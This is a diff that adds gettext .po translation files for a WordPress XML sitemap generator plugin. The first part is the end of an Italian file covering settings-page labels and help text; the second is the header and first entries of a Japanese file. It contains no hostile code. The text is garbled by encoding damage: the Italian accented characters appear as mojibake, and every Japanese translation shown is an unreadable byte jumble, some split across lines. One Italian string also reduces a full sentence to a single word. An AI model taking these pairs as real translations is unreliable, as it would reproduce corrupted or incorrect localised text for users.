+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:690
+msgid "The last known memory usage of the script was %memused%MB, the limit of your server is %memlimit%."
+msgstr "L'ultimo utilizzo di memoria conosciuto per lo script Ã© %memused%MB, il limite del tuo server Ã© %memlimit%."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3018
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:694
+msgid "The last known execution time of the script was %timeused% seconds, the limit of your server is %timelimit% seconds."
+msgstr "L'ultimo tempo di esecuzione dello script Ã© stato di %timeused% secondi, il limite del tuo server Ã© di %timelimit% secondi."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3022
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:698
+msgid "The script stopped around post number %lastpost% (+/- 100)"
+msgstr "Lo script si Ã© fermato intorno al post numero %lastpost% (+/- 100)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3025
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:701
+#, php-format
+msgid "If you changed something on your server or blog, you should <a href=\"%s\">rebuild the sitemap</a> manually."
+msgstr "Qualora avessi modificato qualcosa nel tuo blog o server dovrai <a href=\"%s\">rigenerare la sitemap</a> manualmente."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3027
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:703
+#, php-format
+msgid "If you encounter any problems with the build process you can use the <a href=\"%d\">debug function</a> to get more information."
+msgstr "Nel caso in cui rilevassi un qualche problema durante il processo di generazione, utilizza la funzione <a href=\"%d\">debug</a> per ottenere maggiori informazioni."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:710
+msgid "Basic Options"
+msgstr "Opzioni di Base"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:712
+msgid "Sitemap files:"
+msgstr "File Sitemap:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3079
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3104
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3121
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:712
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:727
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:747
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:780
+msgid "Learn more"
+msgstr "altre info"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:717
+msgid "Write a normal XML file (your filename)"
+msgstr "Scrivi un normale file XML (nome del file)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:723
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "Scrivi un file gzip (il nome del file + .gz)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:727
+msgid "Building mode:"
+msgstr "ModalitÃ  generazione:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3064
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:732
+msgid "Rebuild sitemap if you change the content of your blog"
+msgstr "Rigenera la sitemap quando cambi il contenuto del tuo blog"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3071
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:739
+msgid "Enable manual sitemap building via GET Request"
+msgstr "Abilita la generazione manuale della sitemap via GET Request"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3075
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:743
+msgid "This will allow you to refresh your sitemap if an external tool wrote into the WordPress database without using the WordPress API. Use the following URL to start the process: <a href=\"%1\">%1</a> Please check the result box above to see if sitemap was successfully built."
+msgstr "Questa operazione ti permetterÃ  di rigenerare la sitemap qualora uno strumento esterno abbia operato una scrittura nel database di WordPress senza l'utilizzo della WordPress API. Utilizza l'URL a seguire per avviare il processo: <a href=\"%1\">%1</a> Verifica nel registro qui sopra se la generazione della sitemap Ã© avvenuta con successo."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:747
+msgid "Update notification:"
+msgstr "Notifica aggiornamenti:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3083
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:751
+msgid "Notify Google about updates of your Blog"
+msgstr "Segnala a Google gli aggiornamenti del tuo blog"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3084
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:752
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Google Webmaster Tools</a> to check crawling statistics."
+msgstr "Non Ã© richiesta alcuna registrazione, vedi <a href=\"%s\">Google Webmaster Tools</a> per le relative informazioni."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3209
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:756
+msgid "Notify Bing (formerly MSN Live Search) about updates of your Blog"
+msgstr "Segnala a Bing (ex MSN Live Search) gli aggiornamenti del tuo blog"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3084
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:757
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Bing Webmaster Tools</a> to check crawling statistics."
+msgstr "Non Ã© richiesta alcuna registrazione, vai alla pagina <a href=\"%s\">Bing Webmaster Tools</a> per verificare le statistiche."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3088
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:761
+msgid "Notify Ask.com about updates of your Blog"
+msgstr "Segnala ad Ask.com gli aggiornamenti del tuo blog"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3089
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:762
+msgid "No registration required."
+msgstr "Nessuna registrazione necessaria."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3093
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:766
+msgid "Notify YAHOO about updates of your Blog"
+msgstr "Segnala a YAHOO gli aggiornamenti del tuo blog"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3154
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:767
+msgid "Your Application ID:"
+msgstr "La tua ID applicazione:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:768
+#, php-format
+msgid "Don't you have such a key? <a href=\"%s1\">Request one here</a>! %s2"
+msgstr "Non hai una chiave? <a href=\"%s1\">Richiedine qui una</a>! %s2"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:773
+msgid "Add sitemap URL to the virtual robots.txt file."
+msgstr "Aggiungi l'URL della sitemap al file virtuale robot.txt "
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:777
+msgid "The virtual robots.txt generated by WordPress is used. A real robots.txt file must NOT exist in the blog directory!"
+msgstr "VerrÃ  utilizzato il robots.txt virtuale generato da WordPress. Un file robots.txt reale NON deve esistere nella cartella del blog!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:780
+msgid "Advanced options:"
+msgstr "Opzioni avanzate:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:783
+msgid "Limit the number of posts in the sitemap:"
+msgstr "Numero limite di articoli presenti nella sitemap:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:783
+msgid "Newer posts will be included first"
+msgstr "gli articoli piÃ¹ recenti verranno inclusi per primi"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:786
+msgid "Try to increase the memory limit to:"
+msgstr "Prova ad aumentare il limite di memoria a:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:786
+msgid "e.g. \"4M\", \"16M\""
+msgstr "es. \"4M\", \"16M\""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:789
+msgid "Try to increase the execution time limit to:"
+msgstr "Prova ad aumentare il limite del tempo di esecuzione a:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:789
+msgid "in seconds, e.g. \"60\" or \"0\" for unlimited"
+msgstr "in secondi, es. \"60\" o \"0\" per nessun limite"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:793
+msgid "Include a XSLT stylesheet:"
+msgstr "Includi un foglio di stile XSLT: "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:794
+msgid "Full or relative URL to your .xsl file"
+msgstr "URL al tuo file .xsl "
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:794
+msgid "Use default"
+msgstr "Utilizza predefinito"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3152
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:800
+msgid "Enable MySQL standard mode. Use this only if you're getting MySQL errors. (Needs much more memory!)"
+msgstr "Abilita la modalitÃ  MySQL standard. Solo in caso di errori MySQL. (ampio utilizzo della memoria!)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:801
+msgid "Upgrade WordPress at least to 2.2 to enable the faster MySQL access"
+msgstr "Aggiorna almeno a WordPress 2.2 per attivare un accesso MySQL piÃ¹ veloce"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3166
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:808
+msgid "Build the sitemap in a background process (You don't have to wait when you save a post)"
+msgstr "Costruisci la sitemap con una procedura in background (nessuna attesa durante il salvataggio di un articolo)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:809
+msgid "Upgrade WordPress at least to 2.1 to enable background building"
+msgstr "Aggiorna almeno a WordPress 2.1 per attivare la generazione in background"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:816
+msgid "Additional pages"
+msgstr "Pagine aggiuntive"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:819
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "Qui Ãš possibile specificare file o URL che dovranno venir incluse nella sitemap ma che non appartengono al vostro Blog/WordPress.<br />Ad esempio, se il vostro dominio Ãš www.foo.com ed il vostro blog Ãš posizionato in www.foo.com/blog potreste voler includere la vostra homepage in www.foo.com"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:821
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1010
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1024
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1033
+msgid "Note"
+msgstr "Nota"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:822
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "Se il tuo blog fosse allocato in una sottodirectory e desiderassi aggiungere delle pagine che NON si trovano nella directory del blog o sotto di essa, DOVRAI posizionare il tuo file di sitemap nella directory radice (vedi la sezione &quot;Posizione del file di sitemap&quot; su questa pagina)!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:824
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:863
+msgid "URL to the page"
+msgstr "URL della pagina"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:825
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "inserire la URL della pagina. Ad esempio:  http://www.foo.com/index.html oppure www.foo.com/home "
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:827
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:864
+msgid "Priority"
+msgstr "PrioritÃ "
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:828
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "scegli la prioritÃ  di questa pagina in relazione alle altre. Ad esempio, la tua homepage dovrebbe avere una prioritÃ  maggiore rispetto alle altre pagine."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:830
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:866
+msgid "Last Changed"
+msgstr "Ultima modifica"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:831
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "Inserisci la data dell'ultima modifica nel formato YYYY-MM-DD (ad esempio 2005-12-31) (opzionale)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:865
+msgid "Change Frequency"
+msgstr "Cambia frequenza"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:867
+msgid "#"
+msgstr "#"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:872
+msgid "No pages defined."
+msgstr "Nessuna pagina definita"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:877
+msgid "Add new page"
+msgstr "Aggiungi nuova pagina"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:882
+msgid "Post Priority"
+msgstr "PrioritÃ  articolo"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3329
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:884
+msgid "Please select how the priority of each post should be calculated:"
+msgstr "Seleziona come deve essere calcolata la prioritÃ  per ogni articolo:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:886
+msgid "Do not use automatic priority calculation"
+msgstr "Non utilizzare il calcolo automatico della prioritÃ "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:886
+msgid "All posts will have the same priority which is defined in &quot;Priorities&quot;"
+msgstr "Tutti gli articoli hanno la stessa prioritÃ  definita in &quot;PrioritiÃ &quot;"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:897
+msgid "Location of your sitemap file"
+msgstr "Posizione del file di sitemap"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:900
+msgid "Automatic detection"
+msgstr "Rilevazione automatica"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:904
+msgid "Filename of the sitemap file"
+msgstr "Nome del file di sitemap"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:907
+msgid "Detected Path"
+msgstr "Percorso determinato"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:907
+msgid "Detected URL"
+msgstr "URL determinata"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:912
+msgid "Custom location"
+msgstr "LocalitÃ  personalizzata"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:916
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "Percorso"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:918
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:927
+msgid "Example"
+msgstr "Esempio"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:925
+msgid "Complete URL to the sitemap file, including name."
+msgstr "URL completa al file di sitemap, compreso il nome del file"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:938
+msgid "Sitemap Content"
+msgstr "Contenuto sitemap"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:944
+msgid "Include homepage"
+msgstr "Includi homepage"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:950
+msgid "Include posts"
+msgstr "Includi articoli"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:911
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:956
+msgid "Include following pages of multi-page posts (Increases build time and memory usage!)"
+msgstr "Includi le seguenti pagine di articoli pagina-multipla (incrementa il tempo di generazione e l'utilizzo di memoria!)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:962
+msgid "Include static pages"
+msgstr "Includi pagine statiche"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:968
+msgid "Include categories"
+msgstr "Includi categorie"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:974
+msgid "Include archives"
+msgstr "Includi gli archivi"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:981
+msgid "Include tag pages"
+msgstr "Includi pagine tag"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:988
+msgid "Include author pages"
+msgstr "Includi pagine autore"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:992
+msgid "Further options"
+msgstr "Opzioni aggiuntive"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:997
+msgid "Include the last modification time."
+msgstr "Includi ora dell'ultima modifica."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:999
+msgid "This is highly recommended and helps the search engines to know when your content has changed. This option affects <i>all</i> sitemap entries."
+msgstr "Questa operazione Ã© altamente raccomandata poichÃ© aiuta i motori di ricerca a conoscere quando sono stati modificati i contenuti. Questa opzione avrÃ  influenza su <i>tutti</i> i contenuti della sitemap."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1006
+msgid "Excluded items"
+msgstr "Escludi elementi"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1008
+msgid "Excluded categories"
+msgstr "Categorie escluse"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1010
+msgid "Using this feature will increase build time and memory usage!"
+msgstr "l'utilizzo di questa funzione aumenterÃ  il tempo di generazione e l'utilizzo di memoria!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1017
+#, php-format
+msgid "This feature requires at least WordPress 2.5.1, you are using %s"
+msgstr "Questa funzione richiede come minimo WordPress 2.5.1, tu stai usando %s"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1020
+msgid "Exclude posts"
+msgstr "Escludi articoli"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1022
+msgid "Exclude the following posts or pages:"
+msgstr "Escludi i seguenti articoli o pagine:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1022
+msgid "List of IDs, separated by comma"
+msgstr "separa tra loro con una virgola i vari ID"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1024
+msgid "Child posts won't be excluded automatically!"
+msgstr "gli articoli child non saranno automaticamente esclusi!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1030
+msgid "Change frequencies"
+msgstr "Modifica frequenze"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1034
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "Si noti che il valore di questo tag Ãš da considerarsi un suggerimento e non un comando. Anch se i motori di ricerca prendono in considerazione questa informazione quando decidono cosa indicizzare, potrebbero comunque indicizzare le pagine marcate \"ogni ora\" meno frequentemente cosÃ¬ come potrebbero analizzare le pagine marcate come  \"annualmente\" piÃ¹ frequentemente. Ã anche probabile che i moori analizzino periodicamente anche le pagine marcate con \"mai\" per gestire eventuali modifiche inaspettate in queste pagine."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1040
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1097
+msgid "Homepage"
+msgstr "Homepage"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1046
+msgid "Posts"
+msgstr "Articoli"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1052
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1115
+msgid "Static pages"
+msgstr "Pagine statiche"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1058
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1121
+msgid "Categories"
+msgstr "Categorie"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1064
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "Archivo del mese corrente (dovrebbe avere lo stesso valore della homepage)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1070
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "Archivi precedenti (cambia solo se modificato un vecchio articolo)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1077
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1134
+msgid "Tag pages"
+msgstr "Pagine tag"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1084
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1141
+msgid "Author pages"
+msgstr "Pagine autore"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1092
+msgid "Priorities"
+msgstr "PrioritÃ "
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1103
+msgid "Posts (If auto calculation is disabled)"
+msgstr "Articoli (se disabilitato il calcolo automatico)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1109
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "PrioritÃ  minima degli articoli (anche se fosse stato abilitato il calcolo automatico)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1127
+msgid "Archives"
+msgstr "Archivi"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1152
+msgid "Update options"
+msgstr "Aggiorna le opzioni"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1153
+msgid "Reset options"
+msgstr "Ripristina le opzioni"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:87
+msgid "XML-Sitemap Generator"
+msgstr "XML-Sitemap Generator"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2415
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:87
+msgid "XML-Sitemap"
+msgstr "XML-Sitemap"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:101
+msgid "Settings"
+msgstr "Impostazioni"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:102
+msgid "FAQ"
+msgstr "FAQ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2888
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:103
+msgid "Support"
+msgstr "Supporto"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:104
+msgid "Donate"
+msgstr "Donazione"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:154
+msgid "Sitemap FAQ"
+msgstr "Sitemap FAQ"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-ja.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-ja.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-ja.po	(revision 44)
@@ -0,0 +1,1014 @@
+# Japanese Language File for sitemap (sitemap-ja.po)
+# Copyright (C) 2005 hiromasa : http://hiromasa.zone.ne.jp/
+# Copyright (C) 2009 Naoko McCracken : http://detlog.org/
+# This file is distributed under the same license as the WordPress package.
+# hiromasa <webmaster@hiromasa.zone.ne.jp>, 2005.
+# Naoko McCracken <info@nao-net.com>, 2009
+msgid ""
+msgstr ""
+"Project-Id-Version: Google Sitemaps 3.1.4\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-06-07 01:15+0100\n"
+"PO-Revision-Date: 2009-07-02 23:37-0500\n"
+"Last-Translator: Naoko McCracken <info@nao-net.com>\n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-KeywordsList: _e;__\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-Language: Japanese\n"
+"X-Poedit-Country: JAPAN\n"
+"X-Poedit-SourceCharset: utf-8\n"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:846
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:642
+msgid "Comment Count"
+msgstr "ã³ã¡ã³ãæ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:858
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:654
+msgid "Uses the number of comments of the post to calculate the priority"
+msgstr "ã³ã¡ã³ãæ°ããæçš¿ã®åªå
+é äœãèšç®ãã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:918
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:714
+msgid "Comment Average"
+msgstr "å¹³åã³ã¡ã³ãæ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:930
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:726
+msgid "Uses the average comment count to calculate the priority"
+msgstr "å¹³åã³ã¡ã³ãæ°ãäœ¿ã£ãŠåªå
+é äœãèšç®ãã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:993
